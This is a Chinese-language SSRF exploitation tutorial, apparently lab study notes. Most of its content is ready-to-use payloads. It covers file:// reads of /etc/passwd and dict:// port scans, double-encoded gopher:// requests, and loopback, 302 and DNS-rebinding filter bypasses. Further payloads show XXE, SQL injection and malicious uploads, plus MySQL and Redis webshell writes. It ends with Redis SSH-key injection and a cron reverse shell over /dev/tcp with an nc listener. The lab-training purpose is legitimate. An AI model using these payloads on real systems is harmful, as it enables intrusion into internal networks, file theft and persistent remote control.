SSRF (service side request forgery)服务端请求伪造,是一种又攻击者形成服务器端发起的安全漏洞,本质属于信息泄露漏洞
攻击目标:
从外网无法访问的内部系统
形成原因:
大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤和限制
如:从指定URL地址获取网页文本内容
加载指定地址的图片,下载
百度识图,给出一串URL就能识别出图片
攻击方式:
借助主机A发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息
PHP实现:curl_exec
SSRF的利用:
伪协议:
file://伪协议: 1 2 3 4 5 file:///etc/passwd 读取文件 file:///etc/hosts 读取网段,获得对方ip file:///proc/net/arp 显示arp缓存表(寻找内网其他主机) (file:///proc/net/arp只会显示访问过的存活主机,可先访问如http://192.168.134,再使用file:///proc/net/arp则可显示出192.168.134.128,可通过爆破之后再使用file:///proc/net/arp则可显示所有存活主机) file:///proc/net/fib_trie 显示当前网段路由信息
Dict://伪协议 通过Dict://进行端口扫描(ftp://和http://也可,但扫描时间长,效率较低)
1 2 3 4 5 6 7 8 dict:// 字典服务协议,访问字典资源,如dict://ip:6379/info: dict://+ip:端口+/TCP/IP 数据 dict://172.250.250.1:80 增加模块 1 80,攻击类型改为Cluster bomb集束炸弹 根据Length判断谁否返回数据,从而判断端口是否打开 获取网站信息:dict://172.250.250.6.6379/info
Http://伪协议 可利用http伪协议进行目录扫描
1 2 3 http://192.168.134.128/index.php 可利用kali中的 /usr/share/wordlists/dirb中的common.txt文件进行爆破
Gopher伪协议 利用范围较广:GET提交,POST提交,resis,Fastcgi,sql
1 2 3 4 基本格式:URL:gopher://<host>:<port>/<gopher-path> web也需要加端口号80,gopher协议默认端口为70 gopher请求不装发第一个字符(如:curl gopher:127.0.0.1:7777/abcde ,在监听处得到的数据为bcde),所以在使用gopher伪协议时会在第一位加上一个填充位:gopher:127.0.0.1:7777/_abcde,使获得的数据为abcd
使用gopher伪协议进行GET提交:
GET提交必须的头部信息:
1.路径:GET /index.php?url=aaa HTTP/1.1
2.目标ip地址: Host: 192.168.134.128
(提交的内容必须换行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 最终payload: gopher://192.168.134.128:80/_GET /index.php?url=aaa HTTP/1.1 Host: 192.168.134.128 (此处为换行,不可省) url编码后得到:gopher://192.168.134.128:80/_GET%20/index.php%3furl=aaa%20HTTP/1.1%0d%0AHost: 192.168.134.128%0d%0A (空格:%20 问号:%3f 换行符:%0d%0A) 也可以将_后的内容: GET /index.php?url=aaa HTTP/1.1 Host: 192.168.134.128 进行两次url编码再进行提交 (两次编码:提交数据后ssrf服务器会进行第一次url解码后将解码的内容发给攻击的服务器,再进行第二次解码,为使想要攻击的服务器解码后得到的内容为我们构造的payload,所以需要进行两次url编码,如果是在浏览器中进行提交则只需url编码,因为浏览器会自动再进行一次url编码)
使用gopher伪协议进行POST提交:
需要保留头部信息:
1.POST
2.Host
3.Content-Type
4.Content-Length
1 2 3 4 5 6 POST /index.php HTTP/1.1 Host: 192.168.134.128 Content-Type: application/x-www-form-urlencoded Content-Length: 8(需根据内容改变) name=aaa
使用gopher提交为:
1 gopher://192.168.134.128:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%33%25%33%34%25%32%65%25%33%31%25%33%32%25%33%38%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%38%25%30%61%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%36%31%25%36%31%25%36%31
环回地址绕过 1 2 3 4 5 127.0.0.1 点分十进制 01111111000000000000000000000001 数据包中实际是32位bit二进制,没有点 017700000001 八进制 0x7F000001 十六进制 2130706433 十进制连续
302重定向绕过IP限制 针对私网IP地址被限制,当后台对我们输入的IP进行检查如是否为内网IP,进行过滤时,可使用302重定向进行绕过
1 2 3 4 5 6 7 构建302重定向: 在kali的/opt/302中创建index.php,内容为: <?php header('Location:http://127.0.0.1/flag.php'); ?> (不能使用python)使用php -S 0.0.0.0:7777开启服务
再将其映射到公网上,在SSRF服务器上访问公网IP,此时公网IP就会访问我们创建的index.php页面上,从而重定向到127.0.0.1/flag.php下
1 如我在kali的/opt/302目录下开启了php服务,再在我的windows下访问192.168.134.128:7777,他直接302跳转到了127.0.0.1/flag.php
1 2 3 4 5 6 7 8 9 10 11 12 但是此时有一个问题。私人IP被过滤,那我们的kali的IP也会被过滤,那如何让SSRF访问到我们构造的302跳转页面呢? 方法:使用在线短链接/跳转服务 有些在线服务本身就提供302跳转功能,你可以直接利用它们,无需自己搭建服务器 使用httpbin.org:这是一个非常实用的HTTP测试服务。你可以直接构造如下URL作为Payload: http://httpbin.org/redirect-to?url=http://127.0.0.1/flag.php 目标服务器访问这个链接时,httpbin.org 会返回一个302状态码,将请求跳转到内网的 flag.php 使用短链接生成器:访问 https://www.bitly.com/ 或类似网站,将 http://127.0.0.1/flag.php 缩短成一个短链接(如 https://bit.ly/xxx)。如果目标服务器只拦截了包含明显内网IP的字符串,但对短链接域名放行,那么这个短链接就可以作为Payload (此方法不需要我们构造index.php302跳转页面) 直接访问http://httpbin.org/redirect-to?url=http://127.0.0.1/flag.php 也会跳转到我们想要的127.0.0.1/flag.php下
DNS重绑定绕过 针对SSRF漏洞的防御:
1.解析目标URL,获取其Host
2.解析Host,获取Host指向的IP地址
3.检查IP地址是否为内网地址
4.请求URL
5.如果有跳转,拿出跳转URL,执行步骤1
可以有效防止302跳转和直接访问内网IP,但是无法防止DNS重绑定攻击
SSRF防御模式:
攻击原理:利用服务器两次解析同一域名的短暂间隙,更换域名背后的IP达到突破同源策略或绕过waf进行ssrf的目的
TTL:
TTL全称是“生存时间(Time To Live)”,简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。
1 2 3 4 视频中用到了一个网站: https://lock.cmpxchg8b.com/rebinder.html 它的特点是TTL为0,他会生成一个新域名,使第一次DNS解析公网IP,第二次DNS解析内网IP A为私网IP,B为公网IP(可随意设置)
1 2 3 如图则payload: http://7f000001.c0a80001.rbndr.us/flag.php 等同于访问http://127.0.0.1/flag.php
命令执行 如果对方某IP下存在shell.php命令执行页面,可利用其进行命令执行
可使用gopher进行提交
利用SSRF进行XXE漏洞利用 在面对一个登录页面时,无法判断其是sql注入或者XXE漏洞时,查看源代码发现如下格式:
确定为XXE漏洞
1 2 3 4 5 6 7 8 可以构造如下POST包: POST /doLogin.php HTTP/1.1 Host: 192.168.134.128 Content-Type: applocation/xml;charest=utf-8 Content-Length: 129 <!DOCTYPE root [<!ENTITY admin SYSTEM "file:///etc/passwd">]> <user><username>&admin;</username><password>admin</password></user>
再使用gopher://伪协议进行提交
1 gopher://192.168.134.128:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%34%25%36%66%25%34%63%25%36%66%25%36%37%25%36%39%25%36%65%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%33%25%33%34%25%32%65%25%33%31%25%33%32%25%33%38%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%66%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%36%64%25%36%63%25%33%62%25%36%33%25%36%38%25%36%31%25%37%32%25%36%35%25%37%33%25%37%34%25%33%64%25%37%35%25%37%34%25%36%36%25%32%64%25%33%38%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%31%25%33%32%25%33%39%25%30%61%25%30%61%25%33%63%25%32%31%25%34%34%25%34%66%25%34%33%25%35%34%25%35%39%25%35%30%25%34%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%30%25%35%62%25%33%63%25%32%31%25%34%35%25%34%65%25%35%34%25%34%39%25%35%34%25%35%39%25%32%30%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%30%25%35%33%25%35%39%25%35%33%25%35%34%25%34%35%25%34%64%25%32%30%25%32%32%25%36%36%25%36%39%25%36%63%25%36%35%25%33%61%25%32%66%25%32%66%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34%25%32%32%25%33%65%25%35%64%25%33%65%25%30%61%25%33%63%25%37%35%25%37%33%25%36%35%25%37%32%25%33%65%25%33%63%25%37%35%25%37%33%25%36%35%25%37%32%25%36%65%25%36%31%25%36%64%25%36%35%25%33%65%25%32%36%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%33%62%25%33%63%25%32%66%25%37%35%25%37%33%25%36%35%25%37%32%25%36%65%25%36%31%25%36%64%25%36%35%25%33%65%25%33%63%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%33%65%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%33%63%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%33%65%25%33%63%25%32%66%25%37%35%25%37%33%25%36%35%25%37%32%25%33%65
利用SSRF进行sql注入 假如使用SSRF扫描到内网存在具有SQL注入漏洞的页面,对该页面进行SQL注入
如:http://192.168.134.128/less-1/?id=1' --+
注意:
GET提交:
用hackbar进行GET提交时需要把所有空格进行两次URL Encode替换为%2520
POST提交:
1 2 3 4 5 6 7 8 9 10 构造如下POST包: POST /index.php HTTP/1.1 Host: 192.168.134.128 Content-Type: applocation/x-www-form-urlencoded Content-Length: 12 uname=1' --+ 使用gopher伪协议进行POST提交: gopher://192.168.134.128/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%33%25%33%34%25%32%65%25%33%31%25%33%32%25%33%38%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%66%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%31%25%33%32%25%30%61%25%30%61%25%37%35%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%33%31%25%32%37%25%32%30%25%32%64%25%32%64%25%32%62
利用SSRF进行文件上传 multipart/form-data定义:
假如使用SSRF扫描到内网存在具有文件上传漏洞的页面,并且上传格式为multipart/form-data,对该页面进行攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 构造文件上传POST包: POST /index.php HTTP/1.1 Host: 192.168.134.128 Content-Type: multipart/form-data;boundary=----aaa (定义分界线,此处为四个横线) Content-Length: ------aaa Content-Disposition: form-data;name="upload_file";filename="phpinfo.php" Content-Type:image/jpeg <?php phpinfo(); ?> ------aaa Content-Disposition: form-data;name="submin" 上传 value ------aaa(此处为六个横线) 再使用gopher://伪协议进行提交,在响应码中查看上传的文件的路径,再访问相应路径查看文件就可查看命令执行的结果
利用SSRF进行文件包含漏洞利用 假如使用SSRF扫描到内网存在具有文件包含传漏洞的页面,对该页面进行攻击
使用gopher伪协议进行请求发送
利用SSRF对SQL进行未授权查询 简单点说就是利用SSRF帮助我们给MySQL下达命令:
前提条件:SQL未授权(即未设置密码)
抓取本地MySQL数据库通信内容构造payload
tcpdump Wireshark
抓取查询数据的十六进制展示,再变成URL编码进行提交
1 2 3 4 5 6 7 查看表名: tcpdump -i lo port 3306 -w mysql.pcapng mysql -h 127.0.0.1 -u root --ssl-mode=DISABLED use security; show tables; quit;
这里可以使用Gopherus 工具生成payload:
1 2 3 4 5 进入Gopherus目录下使用python2.7运行gopherus.py: python2.7 gopherus.py --exploit mysql Give MySQL username: root (攻击时使用的用户名,如空密码的root) Give query to execute: show databases;(想要执行的sql语句)
再根据具体的IP地址和端口(mysql-3306)对gopher伪协议内容进行修改
利用SSRF对MySQL未授权文件写入 使用Gopherus:
1 2 3 4 5 进入Gopherus目录下使用python2.7运行gopherus.py: python2.7 gopherus.py --exploit mysql Give MySQL username: root (攻击时使用的用户名,如空密码的root) Give query to execute: show variables like '%security%';(查看是否有文件写入权限)
再根据具体的IP地址和端口(mysql-3306)对gopher伪协议内容进行修改
如果使用gopherus伪协议提交后出现:secure_filr_priv值为空,说明有文件写入权限,可以写入木马文件
使用into outfile生成文件cmd.php 并写入一句话
1 2 3 4 5 进入Gopherus目录下使用python2.7运行gopherus.py: python2.7 gopherus.py --exploit mysql Give MySQL username: root (攻击时使用的用户名,如空密码的root) Give query to execute: select "<?php system($_GET['cmd']); ?>" into outfile '/var/www/html/cmd.php'; (使用into outfile生成文件cmd.php并写入一句话)
再根据具体的IP地址和端口(mysql-3306)对gopher伪协议内容进行修改,提交后可以进行命令执行
利用SSRF对tomcat文件写入 (CVE-2017-12615)
任意文件上传
绕过验证直接在目标靶机进行文件上传
默认端口8080
固定头部信息:
jsp文件内容:
首先利用SSRF得到具有tomcat的页面,对该页面使用gopher://192.168.134.128:80/_,再进行抓包,再将上述两图内容两次url编码(两部分中间有换行)拼接到_后面,发送
再进行命令执行:http://192.168.134.128:80/1.jsp/?cmd=ls
利用SSRF对redis未授权漏洞利用 redis是什么?
1 2 3 4 5 6 7 8 Redis 是一个开源的内存数据库,经常被称作数据结构服务器(端口6379) 它是数据库,但和MySQL不一样 对比 MySQL Redis 数据存在哪 硬盘里 内存里 速度快慢 慢(读写硬盘) 极快(读写内存) 主要用途 存最终数据 存临时数据、缓存
检测对方网站的redis信息:
1 dict://192.168.134.128:6379/info
如果对方有网站,我们可以采用此方法getshell
1 2 3 4 5 redis写webshell的方式: config set dir /var/www/html/ #指定当前打开的目录 config set dbfilename webshell.php #指定当前打开的文件名称,没有则创建 set test "<?php @eval($_POST[cmd]);?>" #指定写入的内容 save #保存
使用gopherus构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 进入Gopherus目录下使用python2.7运行gopherus.py: python2.7 gopherus.py --exploit redis Ready To get SHELL What do you want?? (ReverseShell/PHPShell): PHPShell Give web root location of server (default is /var/www/html): Give PHP Payload (We have default PHP Shell): Your gopher link is Ready to get PHP Shell: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. (该payload为Gopherus生成的默认PHPshell,可以通过GET方法提交cmd进行命令执行)
利用SSRF对redis未授权写入ssh公钥 如果对方主机开启了ssh,可以尝试写入ssh公钥文件,从而进行ssh登录(将自己在kali上生成的公钥写入对方的authorized_keys文件里)
1 2 3 ssh-keygen -t rsa (生成的公钥和私钥在~/.ssh文件夹下的id_rsa.pub里) ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9Xyfpt4fcZz5zXIg1DRF35jgyMWOTIIRRY3/0Z5cXy7dcZ5qVKpZOF0mIucMLlLOYBTpkyQ3Oo03ihcUIZJuh1LHxG6Srn4h3UWEI6XZRGjTKwNEEyLdbV/TDLDpSTfV6mGvq3fgwF6USU05ciINNjOvzDZDDaurf4lI7+WYoHRvopHuuEZmh4khe2Y6afFp4dDywZGqQ15zCkzIi7jB8/JWLeeFDilCUAfS30ftqXFOusNDPZ+8Bizx536rFW3qemuM/16iDh/VarQKel3vMpfvQTmnsOyG7l0TbAexCjl69gscqliXSlxOVx6ryl/WhMXwRqAKxQgSOviXsDHDnYogGBy+XQyWs2C38RpJCOmzyT8ckW4LGFT8MljfDT+Xn+H+9OQUkvhaFTH4g8KVcsHlwHDleRRdCjSnVwFpUSXr3q+IxsGH1wdFkjuCyT79qI8gAXGbqOod36OREVwCoBYDapnSg1S/Ttnq8zfqVTIOn/PaBl4QClWQMv0wBHeE= root@kali
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 TCP数据流: *3 # 数组长度,表示有3个参数 $3 # 第一个参数长度是3个字节 set # 第一个参数:SET 命令 $10 # 第二个参数长度是10个字节 dbfilename # 第二个参数:键名 $15 # 第三个参数长度是15个字节 authorized_keys # 第三个参数:值(写入的文件名) *3 # 下一个命令的数组长度 $3 # ... set $7 payload $568 # 长度568字节的 SSH 公钥内容 ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABgQC9Xyfpt4fcZz5zXIg1DRF35jgyMWOTIIRRY3/0Z5cXy7dcZ5qVKpZOF0mIucMLlLOYBTpkyQ3Oo03ihcUIZJuh1LHxG6Srn4h3UWEI6XZRGjTKwNEEyLdbV/TDLDpSTfV6mGvq3fgwF6USU05ciINNjOvzDZDDaurf4lI7+WYoHRvopHuuEZmh4khe2Y6afFp4dDywZGqQ15zCkzIi7jB8/JWLeeFDilCUAfS30ftqXFOusNDPZ+8Bizx536rFW3qemuM/16iDh/VarQKel3vMpfvQTmnsOyG7l0TbAexCjl69gscqliXSlxOVx6ryl/WhMXwRqAKxQgSOviXsDHDnYogGBy+XQyWs2C38RpJCOmzyT8ckW4LGFT8MljfDT+Xn+H+9OQUkvhaFTH4g8KVcsHlwHDleRRdCjSnVwFpUSXr3q+IxsGH1wdFkjuCyT79qI8gAXGbqOod36OREVwCoBYDapnSg1S/Ttnq8zfqVTIOn/PaBl4QClWQMv0wBHeE= root@kali # 公钥数据(为了使公钥不被前后添加的内容所混淆,公钥前后都要添加两个换行) *1 # 最后一个命令 $4 save # 保存到磁盘 全部换到一行进行两次url编码,使用gopher://伪协议进行提交(提交后就将公钥写入了对方的authorized_keys文件里) 再在kali的~/.ssh目录下进行连接:ssh -i 你的私钥文件 用户名@目标ip ssh -i id_rsa -p 2222 root@192.168.134.128
利用SSRF对redis未授权计划任务shell反弹 写入定时任务,让目标靶机执行后连接到我们的kali上来
利用gopherus生成payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 Ready To get SHELL What do you want?? (ReverseShell/PHPShell): ReverseShell(shell反弹) Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 192.168.134.128(这里填自己的kali的ip) What can be his Crontab Directory location ## For debugging(locally) you can use /var/lib/redis : (回车默认值) Your gopher link is ready to get Reverse Shell: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2470%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.134.128/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A 该payload默认是反弹到1234端口,所以需要开启端口监听: nc -lvp 1234